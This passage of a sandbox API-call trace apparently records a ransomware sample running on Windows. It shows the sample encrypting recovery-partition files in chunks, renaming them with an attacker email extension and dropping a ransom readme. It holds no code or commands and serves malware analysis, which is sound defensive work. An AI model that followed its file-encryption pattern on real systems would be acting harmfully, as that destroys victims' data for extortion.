cAlternateFileName="REPORT~2")) returned 1 [0065.428] wcscmp (_String1="ReportQueue", _String2=".") returned 1 [0065.428] wcscmp (_String1="ReportQueue", _String2="..") returned 1 [0065.428] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x4212d8 [0065.428] wcscpy (in: _Dest=0x4212d8, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER" [0065.428] wcscat (in: _Dest=0x4212d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\" [0065.428] wcscat (in: _Dest=0x4212d8, _Source="ReportQueue" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue" [0065.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4212d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d0 [0065.429] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x486a58 | out: lpFindFileData=0x486a58*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="REPORT~2")) returned 0 [0065.429] FindClose (in: hFindFile=0x40a0a8 | out: hFindFile=0x40a0a8) returned 1 [0065.429] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x486a58) returned 1 [0065.429] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414048) returned 1 [0065.430] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414990) returned 1 Thread: id = 266 os_tid = 0x9cc [0046.871] GetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi")) returned 0x2006 [0046.871] SetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", dwFileAttributes=0x20) returned 1 [0046.872] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x580 [0046.872] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x7c2f9b0 | out: lpFileSize=0x7c2f9b0*=3170304) returned 1 [0046.872] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x305ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.872] ReadFile (in: hFile=0x580, lpBuffer=0x7c2f934, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7c2f930, lpOverlapped=0x0 | out: lpBuffer=0x7c2f934*, lpNumberOfBytesRead=0x7c2f930*=0x4, lpOverlapped=0x0) returned 1 [0046.873] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.873] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441168 [0046.873] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4411e0 [0046.874] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441208 [0046.874] NtQuerySystemTime (in: CurrentTime=0x7c2f910 | out: CurrentTime=0x7c2f910*=132174898108548000) returned 0x0 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x17147e7d [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x6c4034f5 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x792458b6 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x1eb57df3 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x69552657 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x107f07a4 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x30aff7af [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x4027c1a1 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x169689ab [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x4023ec3c [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x69640dc9 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x7a326604 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x4fc474b [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0xf0f63a8 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x4f88ddd4 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x47864d1c [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x62a39c01 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x2cf7c550 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x16f70793 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x9f64486 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x7d796382 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x3c6d18f9 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x6e591572 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x33df354b [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0xf91def1 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x67c8eecd [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x5d8f6041 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x59f7b194 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x3081366b [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x6cc79290 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x608f1af6 [0046.874] RtlRandomEx (in: Seed=0x7c2f91c | out: Seed=0x7c2f91c) returned 0x3daa58b0 [0046.885] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.885] ReadFile (in: hFile=0x580, lpBuffer=0x48dfc8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7c2f8c8, lpOverlapped=0x0 | out: lpBuffer=0x48dfc8*, lpNumberOfBytesRead=0x7c2f8c8*=0xc800, lpOverlapped=0x0) returned 1 [0046.886] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.886] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402ba0 [0046.886] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x419310 [0046.886] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441168 [0046.886] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441168) returned 1 [0046.887] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x49a7d0 [0046.889] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441168 [0046.889] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441208 [0046.889] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441208) returned 1 [0046.889] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419310) returned 1 [0046.889] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0046.889] WriteFile (in: hFile=0x580, lpBuffer=0x49a7d0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7c2f8c8, lpOverlapped=0x0 | out: lpBuffer=0x49a7d0*, lpNumberOfBytesWritten=0x7c2f8c8*=0xc800, lpOverlapped=0x0) returned 1 [0048.547] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49a7d0) returned 1 [0048.553] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x183800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.553] ReadFile (in: hFile=0x580, lpBuffer=0x48dfc8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7c2f8c8, lpOverlapped=0x0 | out: lpBuffer=0x48dfc8*, lpNumberOfBytesRead=0x7c2f8c8*=0xc800, lpOverlapped=0x0) returned 1 [0048.558] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x183800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.558] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402b10 [0048.558] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45ff8 [0048.558] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441320 [0048.558] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441320) returned 1 [0048.559] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x49a7d0 [0048.561] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441320 [0048.561] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0048.561] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417f8) returned 1 [0048.561] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45ff8) returned 1 [0048.561] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b10) returned 1 [0048.561] WriteFile (in: hFile=0x580, lpBuffer=0x49a7d0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7c2f8c8, lpOverlapped=0x0 | out: lpBuffer=0x49a7d0*, lpNumberOfBytesWritten=0x7c2f8c8*=0xc800, lpOverlapped=0x0) returned 1 [0049.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49a7d0) returned 1 [0049.793] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x2f9800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.793] ReadFile (in: hFile=0x580, lpBuffer=0x48dfc8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7c2f8c8, lpOverlapped=0x0 | out: lpBuffer=0x48dfc8*, lpNumberOfBytesRead=0x7c2f8c8*=0xc800, lpOverlapped=0x0) returned 1 [0049.795] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x2f9800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402720 [0049.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a060 [0049.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419ca8 [0049.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419ca8) returned 1 [0049.796] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x49a7d0 [0049.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419ca8 [0049.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419cf8 [0049.797] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419cf8) returned 1 [0049.797] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a060) returned 1 [0049.797] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402720) returned 1 [0049.797] WriteFile (in: hFile=0x580, lpBuffer=0x49a7d0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7c2f8c8, lpOverlapped=0x0 | out: lpBuffer=0x49a7d0*, lpNumberOfBytesWritten=0x7c2f8c8*=0xc800, lpOverlapped=0x0) returned 1 [0051.697] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49a7d0) returned 1 [0051.697] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d118 [0051.697] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.697] WriteFile (in: hFile=0x580, lpBuffer=0x4452d8*, nNumberOfBytesToWrite=0x141, lpNumberOfBytesWritten=0x7c2f970, lpOverlapped=0x0 | out: lpBuffer=0x4452d8*, lpNumberOfBytesWritten=0x7c2f970*=0x141, lpOverlapped=0x0) returned 1 [0056.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0056.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441320) returned 1 [0056.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441370) returned 1 [0056.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441168) returned 1 [0056.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d118) returned 1 [0056.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4411e0) returned 1 [0056.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441230) returned 1 [0056.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441258) returned 1 [0056.501] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x12f4d2d0 [0056.501] wcscpy (in: _Dest=0x12f4d2d0, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" [0056.501] wcscat (in: _Dest=0x12f4d2d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.mailto[2Hamlampampom@cock.li].cd46d" [0056.501] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x7c2f928, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.501] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x4d40e0 [0056.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0056.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d6f18) returned 1 [0056.610] NtQueryInformationFile (in: FileHandle=0x580, IoStatusBlock=0x7c2f934, FileInformation=0x7c2f90c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7c2f934, FileInformation=0x7c2f90c) returned 0x0 [0056.610] NtSetInformationFile (FileHandle=0x580, IoStatusBlock=0x7c2f934, FileInformation=0x7c2f90c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d2d0) returned 1 [0056.635] FlushFileBuffers (hFile=0x580) returned 1 [0056.637] CloseHandle (hObject=0x580) returned 1 [0056.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x12e2a1f8 [0056.655] wcscpy (in: _Dest=0x12e2a1f8, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0056.655] wcscat (in: _Dest=0x12e2a1f8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\CD46D-Readme.txt") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\CD46D-Readme.txt" [0056.655] GetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\CD46D-Readme.txt" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\cd46d-readme.txt")) returned 0xffffffff [0056.655] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\CD46D-Readme.txt" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd2c [0056.679] WriteFile (in: hFile=0xd2c, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x7c2f930, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x7c2f930*=0x6fd, lpOverlapped=0x0) returned 1 [0056.691] CloseHandle (hObject=0xd2c) returned 1 [0056.697] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a1f8) returned 1 [0056.697] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400098) returned 1 Thread: id = 267 os_tid = 0x9d0 [0046.873] GetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim")) returned 0x2006 [0047.426] SetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim", dwFileAttributes=0x20) returned 1 [0048.334] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x564 [0048.335] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x80cfd34 | out: lpFileSize=0x80cfd34*=169213970) returned 1 [0048.335] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0xa16000e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.335] ReadFile (in: hFile=0x564, lpBuffer=0x80cfcb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x80cfcb4, lpOverlapped=0x0 | out: lpBuffer=0x80cfcb8*, lpNumberOfBytesRead=0x80cfcb4*=0x4, lpOverlapped=0x0) returned 1 [0048.340] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441848 [0048.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441820 [0048.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0048.340] NtQuerySystemTime (in: CurrentTime=0x80cfc94 | out: CurrentTime=0x80cfc94*=132174898123212000) returned 0x0 [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x1a4c8f9 [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x45347605 [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x4244871c [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x7517cbb5 [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x3659f0cc [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x703ced96 [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x6e65d1f7 [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x4d4aeb06 [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x799961a8 [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x10bb794d [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x2a020fed [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x1e2a9d1d [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x69f7328c [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x6e5eed89 [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x51137542 [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x4a24d75b [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x68fda1ec [0048.340] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x5a1e4f0d [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x78a6e85 [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x536dbe4e [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x48d0810d [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x48062c47 [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x61c40528 [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x639048c2 [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x33423161 [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x71fb7880 [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x7215eb32 [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x5f74f9c3 [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x4c022b56 [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x5dbd6445 [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x49c67000 [0048.341] RtlRandomEx (in: Seed=0x80cfca0 | out: Seed=0x80cfca0) returned 0x46a5402b [0048.352] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.352] ReadFile (in: hFile=0x564, lpBuffer=0x5edd008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x80cfc4c, lpOverlapped=0x0 | out: lpBuffer=0x5edd008*, lpNumberOfBytesRead=0x80cfc4c*=0xc800, lpOverlapped=0x0) returned 1 [0048.354] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402d50 [0048.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x419658 [0048.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441848 [0048.354] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441848) returned 1 [0048.355] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5ee9810 [0048.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441848 [0048.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0048.356] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417f8) returned 1 [0048.356] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419658) returned 1 [0048.356] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d50) returned 1 [0048.356] WriteFile (in: hFile=0x564, lpBuffer=0x5ee9810*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x80cfc4c, lpOverlapped=0x0 | out: lpBuffer=0x5ee9810*, lpNumberOfBytesWritten=0x80cfc4c*=0xc800, lpOverlapped=0x0) returned 1 [0049.173] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ee9810) returned 1 [0049.173] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x50b6800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.173] ReadFile (in: hFile=0x564, lpBuffer=0x5edd008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x80cfc4c, lpOverlapped=0x0 | out: lpBuffer=0x5edd008*, lpNumberOfBytesRead=0x80cfc4c*=0xc800, lpOverlapped=0x0) returned 1 [0049.176] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x50b6800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4028d0 [0049.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4ef180 [0049.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419d70 [0049.176] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419d70) returned 1 [0049.177] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5ee9810 [0049.178] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419d70 [0049.178] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419c58 [0049.178] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, 